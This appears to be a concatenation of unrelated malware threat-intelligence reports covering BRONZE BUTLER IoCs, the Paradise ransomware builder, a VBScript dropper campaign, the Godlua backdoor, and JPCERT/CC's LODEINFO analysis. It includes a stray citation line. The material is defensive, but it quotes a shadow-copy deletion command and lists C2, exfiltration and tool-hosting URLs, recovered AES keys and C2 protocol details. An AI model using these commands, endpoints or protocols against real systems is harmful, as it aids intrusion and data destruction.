| b3cc83978bbc4f5603e93ec8c687a7007a3f7dbfbae01bff0a30332b06ea44d9 | SHA256 | Datper hash |
| 18e896a7547aacb33aa3941ab1b61659ed099c0f6fbb924068f81b4289b05f12 | SHA256 | xxmm hash |
| 4d208c86c8331b7f1f6dd53f83af9ee4ec700a74792b419f663a3ce105d15d1c | SHA256 | xxmm hash |
| 28894a78bc00d6774d1242925787d35c5c2ae2563f5f7f1ff38dc0b441a15812 | SHA256 | xxmm hash |
| 747041d73b3eb29dde5c9e31efdd5e675f16f182c23999ed5613be0e9be12351 | SHA256 | xxmm hash |
| 15b4c1d29b41531b255e41d39d194a52bdc98a3b65a13771d8caf92372b324ce | SHA256 | xxmm hash |
| ac501bb7e9e1bc57dd027d152f4a7c473f108e37023aae4bad64117241963b5c | SHA256 | xxmm hash |
| 7197de18bc5a4c854334ff979f3e4dafa16f43d7bf91edfe46f03e6cc88f7b73 | SHA256 | xxmm hash |
| fe06b99a0287e2b2d9f7faffbda3a4b328ecc05eab56a3e730cfc99de803b192 | SHA256 | xxmm hash |
| e94a7e835c657dd8a82dab5705db0ec279d1de97a3524f0e25e1e3d78f0561b8 | SHA256 | xxmm hash |
| 09df0591a885b8d16767820c9eac51a5dd8099a4b17a46bffe38b315a6e29d0b | SHA256 | xxmm hash |
| 7333f4601379d5877ec1416e4d82654d312210d5bcf4d628b98207a737bdb654 | SHA256 | xxmm hash |
| 425616f2958ba176662eb9bd66259fb38ca513b5831f0a07956b22839d915306 | SHA256 | xxmm hash |
| 46eae3931334468246c728a7e0ab3bbfafe40c9f73f80bf0544b8aa649227d60 | SHA256 | xxmm hash |
| de18ebedc5b29d66244773dda80b22ecf2c453cdbeaa85149c4ff0e96bdc4478 | SHA256 | xxmm downloader hash |
| 70ef2e2fa3ac2c44a34963aca5dfe79e2b4f51795181374cca63bbf789f8a7f0 | SHA256 | xxmm downloader hash |
| b11941e0510e02283e7732a72f853027ea9271a2d4dc87d736ae33275eab2806 | SHA256 | xxmm downloader hash |
| bd81521445639aaa5e3bcb5ece94f73feda3a91880a34a01f92639f8640251d6 | SHA256 | DGet hash |
| 0fc1b4fdf0dc5373f98de8817da9380479606f775f5aa0b9b0e1a78d4b49e5f4 | SHA256 | RarStar hash |
### C2 Servers
- http://115.144.166.240/ (Delphi) C2 server
- http://203.111.252.40/ (Delphi) C2 server
- http://27.255.69.209/ (Delphi) C2 server
- http://27.255.91.238/ (Delphi) C2 server
- http://106.184.5.30/ (Delphi) C2 server
- http://airsteel.co.jp/cgi-bin/search/02/06_cgi.php (Datper C2 server)
- http://gigasolar.jp/images/blog/20131011news-3.php (Datper C2 server)
- http://www.atnet-photo.com/japan/themes/default/themes.php (Datper C2 server)
- http://www.primeob.com/include/mpage/store.php (Datper C2 server)
- http://baby.ests.jp/Templates/themes.php (Datper C2 server)
- http://www.kamomeza.net/coppermine/images/thumb_dom.php (xxmm C2 server)
- http://noukankyo.org/images/about/soshikizu.php (xxmm C2 server)
- http://jmta.co.jp/module/Template/Plugin/Math.php (xxmm C2 server)
- http://i-frontierasia.com/shiryoku/link.php (xxmm C2 server)
- http://leadoffnet.com/img/top/top_12.php (xxmm C2 server)
- http://www.concierge.com.cn/public_html/wp-content/themes/comment.php (xxmm C2 server)
- http://www.wco-kyousai.com/ex-engine/themes/xe_default/conf/info.php (xxmm C2 server)
- http://angelbaby.jpn.cm/html/images/deleteComments.php (xxmm C2 server)
- http://www.infomiracle.info/TwitterQuest/image/ser.dat (Used by BRONZE BUTLER to host tools)
- http://160.16.243.147/images/CUI.jpg (Used by BRONZE BUTLER to host tools)
- http://160.16.243.147/images/ns.jpg (Used by BRONZE BUTLER to host tools)
- http://oan.jp/photo/logo_new.jpg (Used by BRONZE BUTLER to host tools)
- http://oan.jp/photo/logo_old.jpg (Used by BRONZE BUTLER to host tools)
- http://s-city.net/sport/pic1612.jpg (Used by BRONZE BUTLER to host tools)
- http://sha-sigma.com/led/aa.dat (Used by BRONZE BUTLER to host tools)
- http://www.s-city.net/images/beach6.jpg (Used by BRONZE BUTLER to host tools)
- http://www.stylmartin.co.jp/bdflashinfo/ns12.jpg (Used by BRONZE BUTLER to host tools)
- http://www.stylmartin.co.jp/bdflashinfo/pageicons/6.jpg (Used by BRONZE BUTLER to host tools)
- http://www.slvcx.com/t.rar (Used by BRONZE BUTLER to host tools)
- http://www.sinwa-jp.com/works/logo-unix.php (BRONZE BUTLER exfiltration point)
- http://www.baiya.jp/2014dressnumber/images/logo-unix.php (BRONZE BUTLER exfiltration point) |
# Paradise Ransomware: The Builder
The ransomware builders remind me of old times, where Nukes and Exploiters were freely available on the underground communities, when few clicks were enough to bypass many AV vendors and attackers were activists or single people challenging the system. Nowadays, the way the “builders” are developed and the way criminality is abusing them to generate new Malware is a lot more sophisticated compared to 20 years ago during the romantic “hacking for fun” era. The impact of such Malware in contemporary society is something that needs high attention since digitization is approaching the entire world. For such reasons, I believe it would be interesting to study, when possible and when available, how Ransomware Builders have been developed. The main attention nowadays is on Ransomware binaries rather than on builders, but since “builders” are (in a way) more closed to the Malware developer — in fact, generated ransomware are very similar to each other because automatically generated by the builder — I believe that studying the builders would give us a closer knowledge about the Malware author.
## Light Technical Analysis
Before getting into code, it would be useful to remind that Paradise Ransomware was first launched in 2017 through phishing emails containing malicious IQY attachments that downloaded and installed the ransomware. The first versions of the ransomware contained flaws that allowed international researchers to build a free decryption tool able to recover files from the old version of the Ransomware. After some revisions, the Ransomware became stronger by adopting RSA encryption, which made decryption impossible without the private key. As reported by BleepingComputer, source code leaked during the summer of 2021 on the XSS.IS forum.
The source code is written in .NET, allowing it to run smoothly in a local and virtualized environment on a basic version of the .NET framework over Microsoft Visual Studio. The leaked source code follows the default structure on Microsoft VS, and the leaked folder structure is simple and lean.
After a quick and incomplete overview of the code, several “quick findings” can be appreciated. While the produced ransomware (Paradise) is something that will eventually become public domain (since inoculated on victims' machines), the attacker would insert many “security checks” to complicate the analyst's life. However, the builder is typically a confidential “piece of code” held by affiliate criminal groups, and for this reason, the developer (who works with a limited amount of time) is not used to implement checks and precautions used in the final payload. Here are some quick findings:
- **Language:** Russian. Over the source code, it’s easy to find developer comments, which, according to Google, are in Russian.
- **Username of building computer:** MALIKA. Microsoft Visual Studio provides information regarding the user who compiles the source code into binary. This information is reported in the .csproj file used to configure the environment settings for compiling and linking time.
- **Configurable settings:** Keys and More. Instead of getting configuration files from external resources, the builder (acting as a server) needs to be configured by introducing configuration strings directly in the source code. It appears that the builder is made for advanced users only (maybe for internal usage and not for affiliates?).
- **Ransomware name:** Paradise. Strings and configuration lead the analyst to believe this builder is indeed the Paradise builder from an internal perspective.
- **In memory name:** dp_main. Even if you run Paradise Ransomware with a different configuration name, the system would add a dp_main in the running environment memory. This allows the sample count on such a string to understand how many parallel processes are running.
Besides the “quick findings,” it would be interesting to check used practices and Ransomware characteristics. One of the first characteristics is in the persistence method. While the “Autorun” is quite simple and very abused, the Paradise ransomware seems to copy itself into a specific directory named DP (under the appdata service directory) and consistently names the Paradise Ransomware the same way, regardless of configuration settings. The name is DP_Main.exe.
Shadow copies deletion is a standard practice for successful ransomware. In this case, the action is quite standard, by running the following command in cmd.exe: `ProcessStartInfo psiOpt = new ProcessStartInfo(@"cmd.exe", @"/C sc delete VSS");`
Interestingly, the way Paradise Ransomware checks in with its command and control system allows for the serialization of a network detection rule (even if it would be quite general, so pay attention to false positives in case you implement it) such as: `/api/Encrypted.php`.
One of the most interesting pieces of code is in the way the sample manages encryption keys. The main function at line 718 shows that if there are no keys in the host system, Paradise Ransomware generates them and saves both on the local machine. Unfortunately, the process to save private keys to HD does it well by encrypting them, but there is still something to address here. Most interesting for the analysis is the process that this Ransomware uses to deal with keys. The function named `SavePrivateKey` does not perform as expected.
In `SavePrivateKey`, the attacker actually saves a combination of the encrypted (private) key and public RSA key. It then calls a new function named `SavekeysToFiles`, which saves them into a unique file called `DecryptionInfo.auth`. Finally, one more interesting characteristic is in the way Paradise encrypts files. A questionable choice by the Malware author is the ability to encrypt “only” the first 10MB of large files. If the files are smaller, it divides the file into 117 bytes and loops over them.
## IoC
### Main Sourcecode Files
Following are the analyzed files composing the leaked codebase:
- SHA256: 753f1e353ad0eb75555f81e090a3e89339d96266f5e33e2ada34c9ea655dcee9 - AssemblyInfo.cs
- SHA256: e375edc127182453ad7ed84ae3abac3759dded7265284af48015a165e439f26c - DP_Builder.csproj
- SHA256: 0dfb6a940a583432f21ce03634c0e8d6a9030443e391cf44f9581212716d4308 - DP_Builder.sln
- SHA256: 363a99b2480c11b9431c046d44b323807e9b11bf237cc291dde11151d8b75581 - MainForm.cs
- SHA256: 5eb2c22d092f3bf2077d7e9128c38c1bc29fd0b06479646c05afb0bf741891dc - MainForm.resx
- SHA256: f282d765bb83d76be318a2a982605d06619da2376165ba12cc6ca4e50aa0754d - Program.cs
- SHA256: a1428e2c84c3420a0481e524e103db7fde84d2107bd02738349c48ee4d6a5353 - Resources.cs
- SHA256: e9ae7a5837b34b65608964e7315450a3459e0e01366769b68b904504a55db102 - Resources.resx
- SHA256: 07958ee0ed74c8e4637d0903d686e66e7bd9e6b89bca0d3df4531d590c848a05 - Settings.cs
## Conclusions
Every code has specific characteristics; every Malware Author makes decisions that reflect in the way they write source code. Analyzing Malware source code allows us to compare style and design patterns. In this quick Paradise Ransomware source code analysis, I highlighted only a few of the many characteristics that could be observed by reading someone else’s code. I believe that sharing this information would be useful to everybody working in the cyber defense sphere. |
Author manuscript, published in "International Conference on Computer, Electrical, and Systems Science, and Engineering - CESSE'07 (2007)" |
# Obfuscated VBScript Drops Zloader, Ursnif, Qakbot, Dridex
The Morphisec Labs team has tracked an obfuscated VBScript package in campaigns since March 2020. Initially, the malware campaign was focused on targets within Germany, but has since moved on to additional targets—excluding any IP address within Russia or North Korea.
These VBscripts started in March with delivering Zloader, as previously identified, and have since evolved into a delivery mechanism for trojans like Ursnif, Qakbot, and Dridex in addition to Zloader. The danger here is that the VBScript interpreter comes pre-loaded onto every Windows operating system, and has done since Windows 98. Interpreted languages like VBScript, Javascript, or really any text-based script will always be difficult for scans to determine whether the code is malicious or not. The reason behind this is that there is an endless number of possibilities to represent the same command or result.
The campaign that Morphisec Labs has tracked starts with a zipped obfuscated VBScript file attached to an email. The email the target receives contains a ZIP attachment that appeared to be an invoice, specifying the amount of the transaction, date, and transaction number. The goal here, as in most of these emails with false invoices, is that the target won’t pay careful attention to the email.
Inside the zip file attachment is a heavily obfuscated Visual Basic Script file with a low detection rate. The VBScript employed several techniques to evade sandboxes and make the analysis quite difficult. It has many garbage variables, comments, decoy functions, and all of the malicious functions are obfuscated.
To simplify our analysis, we wrote a short Python script that removes all the garbage code, comments, and variables. It leaves us with just the Visual Basic Script code. ExecuteGlobal commands receive a string as an argument and execute the commands in the string. In this case, the argument is in the form of an array that is being converted to a string using mathematical character manipulation. Those strings are functions that are later used by the script. This obfuscation method can be easily extracted by replacing 'ExecuteGlobal' with 'Wscript.Echo'.
## Anti-VM and Anti-Analysis
The first function calls are used for anti-analysis and anti-virtual machine. If one of the following evasive checks detects that it is running under a virtual machine or analysis environment, the attacker logs the IP, deletes the script, and pops a fake error message.
In addition to checking if the environment is a virtual machine or a sandbox, the Visual Basic Script also performs the following actions:
- Checks if the amount of physical memory is lower than 1030MB.
- Checks if the amount of logical memory is lower than 60GB.
- Checks if the number of files in the download folder is lower than 3. This same check is done for the temp folder.
- Checks if the last boot up time was lower than 10 minutes (some samples use 20 minutes as the time they check for).
- Checks if the number of cores is lower than 3.
- Checks if the video adapter memory is less than 1500MB.
- Extracts the geographical location identifier from the registry path "HKEY_CURRENT_USER\Control Panel\International\Geo\Nation" and checks against the excluded GEOID list. Germany was targeted in the previous campaign, and more recent ones have excluded Russia and North Korea.
- Checks if one of the processes from the list is running on the system (the list changes between versions). Also, it checks if the number of running processes is lower than 28.
In the previous campaign (April 2020, SHA-1: f4683dccf77a37dbba63c4f4088ce1bed5171ac2) the attacker created a shortcut in the temp directory to mark an infected machine. In the latest campaign, it checks if the VBScript is running on an infected machine by checking if the artifact is there. If it detects that it is running on an infected machine it will pop a fake error message, delete the script, and exit. If not, it will create a new shortcut to mark the infected machine with the new campaign.
In the final phase, the script drops a zip folder by using the same decoding technique as used for decoding the functions. The zip folder consists of one dll, which is the payload. The others are decoys to hamper analysis. Next, it unzips the folder and runs the dll using rundll32 or regsvr32.
## Conclusion
Simple obfuscation, or even less-simple obfuscation, of interpreted languages like VBScript are just enough for attackers to bypass scanning solutions. The simple reason is that, because these are text-based languages, the amount of possibly suspicious terms is endless. No matter what obfuscation is used, however, Morphisec’s moving target defense technology prevents the execution of the evasive payload, such as Zloader, Ursnif, Qakbot, or Dridex, before any damage is done.
## IOCs (SHA-1)
**Email:**
- 2a80a3357994b0ea24832d8aa7c18d4efdaf701b
- a12e1fec7957efa07498649844ed26b91c1ef0d6
- ba212c1819fef115142ba0ec545d376f8c998cea
**VBS:**
- ef3d638377e245d7f388b41aad5e3525a8ccd2ed
- dffea6584a9a89723ae81864cd7a68976b49e62c
- ee29a9908064d1a6bd54898732e4f8c8606914ba
- 3f8ddfac37a997a113e131984f189e151ec990b4
- 14c1aa17661931bed55bdeebc7c3df8d2f03464c
- 733fc14cfb234f5cd16e05909a5f02e56801d780
- 62439824c1f73cce160b24ce2ecdc422637dad72
- a8354753917ad5b417833a24eae8765fd8655f57
- 0275719274a656be9111408fa73c7145ad16b04d
- f13e44b026ad0e1bc08afbf25f17411bb20566e6
- 809ec6d35efc2b64b85c85a6e26efe7e84bb6b7a
- d4b3f7334a8405c0458d86a5a7ac0c97619a93c0
**Dll:**
- 64c076da46b169c13d1e933f5f420856fe2072dc
- 8eb9adde4c5f109f7c9a27285b5da091773ad4eb
- f89fc63457ce4914b5e41ed0b17af0a9e1ac6119
- e3e98f6f780c54a86af046a8612b984dbbe16a24
- efa00fb74bd6f635cfd4400df3c56fa35caae10f
- ba6380216f7e62e3e32d129210a9f13f9bc4f3b5
- 903019f30ae78d6052c14ecb875f4c35c2ae6404
- 5a7d276a64bb12b1b312c77da71360b88f793985
- eb992300f7fd49d3723737a39782bd4c46b4e566
- e8b3ec66c28dedaa18b968bcd267a2c912a92e87 |
# An Analysis of Godlua Backdoor
**Alex Turing**
**July 1, 2019**
**1 July 2019 / Botnet**
## Background
On April 24, 2019, our Unknown Threat Detection System highlighted a suspicious ELF file which was marked by a few vendors as mining-related trojan on VT. We cannot confirm it has a mining-related module, but we do see it starts to perform DDoS functions recently. The file itself is a Lua-based Backdoor, we named it Godlua Backdoor as the Lua byte-code file loaded by this sample has a magic number of “God”.
Godlua Backdoor has a redundant communication mechanism for C2 connection, a combination of hardcoded DNS name, Pastebin.com, GitHub.com as well as DNS TXT are used to store the C2 address, which is not something we see often. At the same time, it uses HTTPS to download Lua byte-code files and uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server, and the C2.
We noticed that there are already 2 versions of Godlua Backdoor and there are ongoing updates. We also observed that attackers have been using Lua commands to run Lua code dynamically and initiate HTTP Flood attacks targeting some websites.
## Overview
At present, we see that there are two versions of Godlua. Version 201811051556 is obtained by traversing Godlua download servers and there has been no update on it. Version 20190415103713 ~ 20190621174731 is active and is actively being updated. They are all written in C, but the active one supports more computer platforms and more features. The following is a comparison.
### Godlua Backdoor Reverse Analysis
**Version 201811051556**
This is the version we found earlier (201811051556). It focuses on the Linux platform and supports two kinds of C2 instructions, to execute Linux system commands and to run custom files.
**Sample information**
MD5: 870319967dba4bd02c7a7f8be8ece94f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.32, dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped.
**C2 redundant mechanism**
This version performs C2 communications in two ways, hardcoded domain name and GitHub link. Its hardcoded C2 domain is: d.heheda.tk. It also has a GitHub page and the real C2 address is in the project description.
**C2 instruction**
- cmd_call: execute Linux system commands
- cmd_shell: execute custom file
**C2 protocol analysis**
**Packet format**
Length | Type | Data
Little endian, 2 bytes | 1 byte | (Length - 3) bytes
**Encryption Algorithm**
XOR’s Key is randomly generated of 16 bytes of data, the algorithm is as follows:
**Packet Overview**
- cmd_handshake
- packet[0:31]:
24 00 02 ec 86 a3 23 fb d0 d1 e9 e8 5f 23 6f 6d
70 b5 95 24 44 e0 fc 2e 00 00 00 6c 69 6e 75 78
2d 78 38 36
- Length: packet[0:1] ---> 0x0024
- Type: packet[2] ---> 0x02, handshake
- Data: packet[3:31]
- Data[0:15] ---> xor key
- Data[16:23] ---> version, hardcoded, little endian.
- Data[24:31] ---> arch, hardcoded.
- cmd_heartbeat
- packet[0:10]:
0b 00 03 87 19 45 cb 91 d1 d1 a9
- Length: packet[0:1] ---> 0x000b
- Type: packet[2] ---> 0x03, heartbeat
- Data: packet[3:10] ---> xored clock64()
**Version 20190415103713 ~ 20190621174731**
This active version runs on both Windows and Linux. The control module is implemented in Lua and five C2 commands are supported.
**Sample information**
- Version 20190415103713
MD5: c9b712f6c347edde22836fb43b927633
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped.
- Version 20190621174731
MD5: 75902cf93397d2e2d1797cd115f8347a
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped.
**C2 redundant mechanism**
The backdoor uses 3 different ways to store the Stage-1 URL: hardcoded ciphertext, GitHub project description, and Pastebin text. After the Stage-1 URL is retrieved and decrypted, a start.png file will be downloaded, which is actually a Lua bytecode. The Bot then loads it into memory and executes it to get the Stage-2 URL.
**Encryption Algorithm**
AES, CBC Mode
Key: 13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
IV: 2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
**Hard coded ciphertext**
- Version 20190415103713
AES ciphertext: 03 13 84 29 CC 8B A5 CA AB 05 9E 2F CB AF 5E E6 02 5A 5F 17 74 34 64 EA 5B F1 38 5B 8D B9 A5 3E
Stage-1 URL plaintext: https://d.heheda.tk/%s.png
- Version 20190621174731
AES ciphertext: F1 40 DB B4 E1 29 D9 DC 8D 78 45 B9 37 2F 83 47 F1 32 3A 11 01 41 07 CD DB A3 7B 1F 44 A7 DE 6C 2C 81 0E 10
E9 D8 E1 03 38 68 FC 51 81 62 11 DD
Stage-1 URL plaintext: https://img0.cloudappconfig.com/%s.png
**Github project description**
AES ciphertext: EC 76 44 29 59 3D F7 EE B3 01 90 A9 9C 47 C8 96 53 DE 86 CB DF 36 68 41 60 5C FA F5 64 60 5A E4 AE 95 C3 F5
A6 04 47 CB 26 47 A2 23 80 C6 5F 92
Github URL plaintext: https://api.github.com/repos/helegedada/heihei
**Decryption Process:**
Project description ciphertext: oTre1RVbmjqRn2kRrv4SF/l2WfMRn2gEHpqJz77btaDPlO0R9CdQtMM82uAes+Fb
Stage-1 URL plaintext: https://img1.cloudappconfig.com/%s.png
**Pastebin text**
AES ciphertext: 19 31 21 32 BF E8 29 A8 92 F7 7C 0B DF DC 06 8E 8E 49 F0 50 9A 45 6C 53 77 69 2F 68 48
DC 7F 28 16 EB 86 B3 50 20 D3 01 9D 23 6C A1 33 62 EC 15
Pastebin URL plaintext: https://pastebin.com/raw/vSDzq3Md
Decryption Process:
Pastebin Ciphertext: G/tbLY0TsMUnC+iO9aYm9yS2eayKlKLQyFPOaNxSCnZpBw4RLGnJOPcZXHaf/aoj
Stage-1 URL plaintext: https://img2.cloudappconfig.com/%s.png
### Stage-2 URL
Here at stage-2, two mechanisms are being used for storing the Stage-2 URL, GitHub project file and DNS over HTTPS. After the Stage-2 URL is retrieved and decrypted, a run.png file, also a Lua bytecode, will be downloaded. The Bot will load this file into memory and run it to get Stage-3 C2.
**Encryption Algorithm**
AES, CBC Mode
Key: 22 85 16 13 57 2d 17 90 2f 00 49 18 5f 17 2b 0a
IV: 0d 43 36 41 86 41 21 d2 41 4e 62 00 41 19 4a 5c
**Github project file**
Github URL is stored in the Lua byte-code file (start.png) in plaintext. We get the following information by disassembling it:
Github project file ciphertext: kI7xf+Q/fXC0UT6hCUNimtcH45gPgG9i+YbNnuDyHyh2HJqzBFQStPvHGCZH8Yoz9w02njr41wdl5VNlPCq18qTZUVco5WrA1EIg3zVOcY8=
Stage-2 URL plaintext: {"u":"https:\/\/dd.heheda.tk\/%s.png","c":"dd.heheda.tk::198.204.231.250:"}
**DNS TXT**
DNS TXT is stored in the Lua byte-code file (start.png) in plaintext. We get the following information by disassembling it:
DNS over HTTPS Request:
DNS TXT ciphertext: 6TmRMwDw5R/sNSEhjCByEw0Vb44nZhEUyUpUR4LcijfIukjdAv+vqqMuYOFAoOpC7Ktyyr6nUOqO9XnDpudVmbGoTeJD6hYrw72YmiOS9d
Stage-2 URL plaintext: {"u":"http:\/\/img1.cloudappconfig.com\/%s.png","c":"img1.cloudappconfig.com::43.224.225.220:"}
### Stage-3 C2
Stage-3 C2 is hardcoded in the Lua byte-code file (run.png). We disassembled it to get the following information.
**C2 instruction**
| CMD | Type |
|-----------|------|
| HANDSHAKE | 1 |
| HEARTBEAT | 2 |
| LUA | 3 |
| SHELL | 4 |
| UPGRADE | 5 |
| QUIT | 6 |
| SHELL2 | 7 |
| PROXY | 8 |
**C2 protocol analysis**
**Packet format**
Type | Length | Data
1 byte | Big endian, 2 bytes | Length bytes
**Packet overview**
- HANDSHAKE
- Type: packet[0] ---> 0x01, HANDSHAKE
- LENGTH: packet[1:2] ---> 0x0010
- Data: packet[3:end]
- data[0:7] ---> Session
- data[8:end] ---> version, 0x00125cfecd8bcb -> 20190621174731
- HEARTBEAT
- Send:
- Type: packet[0] ---> 0x02, HEARTBEAT
- Length: packet[1:2] ---> 0x4
- Data: packet[3:end] ---> time, 0x5d13779b, 1561556891
- Replay:
- Type: packet[0] ---> 0x02, HEARTBEAT
- Length: packet[1:2] ---> 0x4
- Data: packet[3:end] ---> 1561556891
- LUA Payload
- Type: packet[0] ---> 0x03, LUA
- Length: packet[1:2] ---> 0x00ab
- Data: packet[3:end] ---> Lua script
We observe the attacker performing an HTTP Flood attack against www.liuxiaobei.com.
### Lua script analysis
The Bot sample downloads many Lua scripts when executing, and the scripts can be broken down into three categories: execute, auxiliary, and attack.
- execute: start.png, run.png, quit.png, watch.png, upgrade.png, proxy.png
- auxiliary: packet.png, curl.png, util.png, utils.png
- attack: VM.png, CC.png
**Encryption Algorithm**
AES, CBC Mode
Key: 13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
IV: 2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
### Lua magic number
The decrypted files are all pre-compiled, take upgrade.png as an example, note the highlighted part is the file header. You can see that the magic number has changed from “Lua” to “God”. The malware author also seems to set a trap for researchers here by manually changing the LuaVersion number in the sample to 5.1.4 ($LuaVersion: God 5.1.4 C$$LuaAuthors: R. $). We think the real version should be definitely newer than 5.2.
### Decompile
In order to decompile the above script, we have to know what changes have been made to Lua. After some analysis, we concluded that the modification can be divided into two major sections: Lua Header and Lua Opcode.
## Suggestions
We have yet to see the whole picture of how exactly the Godlua backdoor infects the targets. At this point, we know at least some Linux users were infected via the Confluence exploit (CVE-2019-3396). If our readers have more information, feel free to contact us. We suggest that at least to monitor and block the relevant IP, URL, and domain name of Godlua Backdoor on your network.
## Contact us
Readers are always welcomed to reach us on Twitter, WeChat 360Netlab, or email to netlab at 360 dot cn.
## IoC list
**Sample MD5**
870319967dba4bd02c7a7f8be8ece94f
c9b712f6c347edde22836fb43b927633
75902cf93397d2e2d1797cd115f8347a
**C2 Domain**
d.heheda.tk
dd.heheda.tk
c.heheda.tk
d.cloudappconfig.com
dd.cloudappconfig.com
c.cloudappconfig.com
f.cloudappconfig.com
t.cloudappconfig.com
v.cloudappconfig.com
img0.cloudappconfig.com
img1.cloudappconfig.com
img2.cloudappconfig.com
**IP**
198.204.231.250 United States ASN 33387 DataShack, LC
104.238.151.101 Japan ASN 20473 Choopa, LLC
43.224.225.220 Hong Kong ASN 22769 DDOSING NETWORK |
# マルウエアLODEINFOの進化
以前のブログで、日本国内の組織を狙ったマルウエアLODEINFOについて紹介しました。JPCERT/CCでは、現在もこのマルウエアを使用した攻撃が活発に行われていることを確認しており、新型コロナウイルスに関連したファイル名などを使って、感染を広げようとする動きが見られます。また、LODEINFOは頻繁にアップデートが行われており、複数の機能が追加・変更されていることを確認しています。今回は、LODEINFOの一連の攻撃の中で見られた傾向と、アップデート内容について紹介します。
## LODEINFOを配信する手口
確認されている全ての攻撃の起点は、添付ファイル付きの標的型攻撃メールです。添付ファイルにはWord文書、またはExcel文書が使用されており、添付ファイルを開いてマクロを有効化することで、内包していたLODEINFOがホスト上に作成、実行されます。標的型攻撃メールに使用されているメールと添付ファイルの内容は、以下のようなものを確認しています。
- 新型コロナウイルスを題材にしたもの
- 日露や日韓の外交を題材にしたもの
- 企業への履歴書や申し込みを装ったもの
攻撃対象の業種としては、メディア系、公共系を確認しています。また、標的型攻撃メールの送信には、フリーのメールアドレス(Gmail等)を使用している傾向が見られます。
## LODEINFOのバージョン
以前のブログで紹介したLODEINFOのバージョンは、v0.1.2でしたが、本ブログ執筆時点で確認している最新バージョンは、v0.3.6となっています。また、JPCERT/CCでは以下のバージョンのLODEINFOが存在することを確認しています。
| バージョン | 機能追加 |
|------------|----------|
| v0.2.7 | データ送受信フォーマットの一部変更、既存コマンドの拡張(ver)、Mutexの作成 |
| v0.3.2 | 新規コマンドの追加(print)、永続化処理の追加 |
| v0.3.5 | 新規コマンドの追加(rm、ransom、keylog) |
現時点での最新バージョン(v0.3.6)では、前回のv0.1.2の検体から以下のコマンドが追加されています。
- print
- rm
- ransom
- keylog
printコマンドは感染ホストのスクリーンキャプチャを取得し、rmコマンドは指定されたファイルの削除を行います。例えばrmコマンドを実行した場合、ファイル削除後、以下のような実行結果がC&Cサーバ宛てに送信されます。
```
1590318292|932|080027D50FB0|DESKTOP-J783225C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg: OK.
C:\Users\Public\Pictures\Sample Pictures\Desert.jpg: OK.
C:\Users\Public\Pictures\Sample Pictures\desktop.ini: OK.
C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg: OK.
C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg: OK.
C:\Users\Public\Pictures\Sample Pictures\Koala.jpg: OK.
C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg: OK.
C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg: OK.
C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg: OK.
```
ransom、keylogコマンドについては、現時点で確認しているバージョンでは未実装となっており、コマンドを実行しても以下のような結果だけがC&Cサーバ宛てに送信されます。
```
1590318292|932|080027D50FB0|DESKTOP-J783225Not available
```
ただし、コマンド名から推測すると、将来的にファイルの暗号化やキーログ機能が搭載される可能性があるかもしれません。
## データ送受信フォーマットの一部変更
LODEINFOは、AESとBASE64を組み合わせてデータの暗号化を行っていますが、データをBASE64デコードした後のオフセット0x45の位置には、AESで暗号化されたデータのサイズが記載されています。前回のv0.1.2の検体では、該当部分にデータサイズがそのまま記載されていましたが、v0.2.7以降の検体からは、オフセット0x49の位置に新しく1byteのXORキーが記載されるようになり、オフセット0x45のデータサイズにはXORキーでエンコードされた値が記載されるようになっています。
上記の変更によって、以前に紹介したHTTP POSTリクエストのデータを復号するコードが正常に動作しなくなっているため、以下に対応したコードの一部を記載します。
```python
from Crypto.Cipher import AES
from base64 import urlsafe_b64decode
from binascii import a2b_hex
def decypt_lodeinfo_data(enc_data: str, key: bytes, iv: bytes) -> bytes:
header_b64 = enc_data[:0x1C]
header = urlsafe_b64decode(header_b64.replace(".", "="))
postdata_size = int.from_bytes(header[0x10:0x14], byteorder="little")
postdata_b64 = enc_data[0x1C:0x1C+postdata_size]
postdata = urlsafe_b64decode(postdata_b64.replace(".", "="))
cipher = AES.new(key, AES.MODE_CBC, iv)
xor_key = postdata[0x34]
decrypt_size = int.from_bytes([b ^ xor_key for b in postdata[0x30:0x34]], byteorder="little")
dec_data = cipher.decrypt(postdata[0x35:0x35+decrypt_size])
junk_size = dec_data[-1]
dec_data = dec_data[:decrypt_size-junk_size]
return dec_data
encrypted_data = "njgGCEgbkXQIgexSrDm3O7QAAADuSiTM6xoP8ResYAybhHoRx9W-Ulw_ealn9gIEjvsZzqQXG8vn3QYoIfmNmO4viy0rFkZGRkaN6IX4HXa-cdyoRLWkIYxVPI9Ciu8sDP1PK0x6gDH556OYX8GMdejk40daIbiwY3ERd0qL8jRawpwBHht7Sps_hwoZfeks-ly5sw2Y9RqtUQ.."
KEY = a2b_hex("7306ED96A7D75BAB94C4F15AAF0A9E61690F0E300FEA9135764C206580DF2970")
IV = a2b_hex("D5C5376805264812B3ED88BE4A614A1A")
decrypted_data = decypt_lodeinfo_data(encrypted_data, KEY, IV)
print("Decrypted Data: ", bytes.hex(decrypted_data))
```
## LODEINFOの起動方法の変化
以前のLODEINFOでは、Word文書のマクロを有効化した際に、LODEINFOのDLLファイルをホスト上に作成し、rundll32.exeを使って実行していました。しかし、v0.3.2以降からは、DLLファイルと一緒に正規のWindows実行ファイルを作成し、DLLサイドローディングを使ってLODEINFOを実行するように手法が変わっています。
## LODEINFOの通信特徴
LODEINFOはUser-Agentが検体内部でハードコードされており、v0.2.7までは以下が使用されています。
```
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
```
また、v0.3.2以降では以下が使用されています。
```
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363
```
